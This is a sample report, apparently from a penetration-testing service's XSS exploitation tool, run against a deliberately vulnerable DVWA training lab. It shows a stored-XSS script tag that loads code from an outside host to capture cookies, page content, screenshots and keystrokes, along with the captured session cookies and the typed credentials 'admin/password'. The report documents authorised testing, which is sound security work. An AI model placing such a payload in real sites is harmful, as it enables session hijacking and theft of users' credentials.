

XSS Exploiter Report

Label	JS Payload	Options	Requests received
sample-report	<script src='https://app.pentest-tools.com/xss-payload/vqRkVD7vvl'></script>	Get cookies Get HTML content Get page screenshot Get keystrokes	1

This URL was accessed 1 times:

Cookies	User URL	Page Screenshot	Keystrokes	User Agent	Date
SessionID=encrypted-session-id; env=graphiql:disable; security=low; user_email=\"admin@security-guard.com\"; PHPSESSID=10c53a5417557949ae0371b9bf5f86a9	https://pentest-ground.com:4280/vulnerabilities/xss/	Image 1	admin/password	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0	Tue May 27, 2025 04:40:14 pm (GMT +3)

Image 1

The image shows a screenshot of the Damn Vulnerable Web Application (DVWA) interface. At the top, the DVWA logo is visible. The main content area is titled "Vulnerability: Stored Cross Site Scripting (XSS)". On the left, there is a navigation menu with various vulnerability categories, with "XSS (Stored)" highlighted in green. The main content area contains a guestbook form with "Name" and "Message" input fields and "Sign Guestbook" and "Clear Guestbook" buttons. Below the form, there are two preview boxes showing the output of the guestbook entries. A "More Information" section lists several links related to XSS. At the bottom, there is a footer with system status information and a "View Source" / "View Help" link.

DVWA

Vulnerability: Stored Cross Site Scripting (XSS)

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Stored)
XSS (Reflected)
CSP Bypass
JavaScript
Open HTTP Redirect

DVWA Security
PHP Info
About
Logout

Name *
Message *
Sign Guestbook Clear Guestbook

Name: a
Message: a

Name: a
Message: a

More Information

- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- https://en.wikipedia.org/wiki/Cross-site_scripting
- <http://www.cjbsecurity.com/xss-faq.html>
- <http://www.scriptalert.com/>

Username: Unknown
Security Level: low
Locale: en
SQLI DB: mysql

View Source View Help

Damn Vulnerable Web Application (DVWA)